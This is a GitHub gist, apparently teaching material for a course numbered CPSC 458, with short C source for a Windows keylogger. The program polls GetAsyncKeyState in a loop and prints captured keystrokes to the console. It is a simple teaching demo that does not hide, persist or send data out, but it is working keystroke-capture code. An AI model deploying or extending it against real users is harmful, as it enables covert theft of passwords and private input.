Skip to content

Instantly share code, notes, and snippets.

@ProfAvery
Last active October 8, 2024 17:55
Show Gist options
  • Save ProfAvery/51fd3996de6a56bd9fc6c12c0e48578c to your computer and use it in GitHub Desktop.
Save ProfAvery/51fd3996de6a56bd9fc6c12c0e48578c to your computer and use it in GitHub Desktop.
CPSC 458 - Key logger using GetAsyncKeyState()
#include <stdio.h>
#include <stdbool.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winuser.h>
#pragma comment(lib, "user32.lib")
int main()
{
while (true)
{
// See https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
for (int i = VK_LBUTTON; i < VK_OEM_CLEAR; i++)
{
// See https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate
if (GetAsyncKeyState(i) & 0x01)
{
if (i >= ' ' && i <= '~')
{
// visible
putchar(i);
}
else
{
// control chars
printf("<%02x>", i);
}
}
}
Sleep(80);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment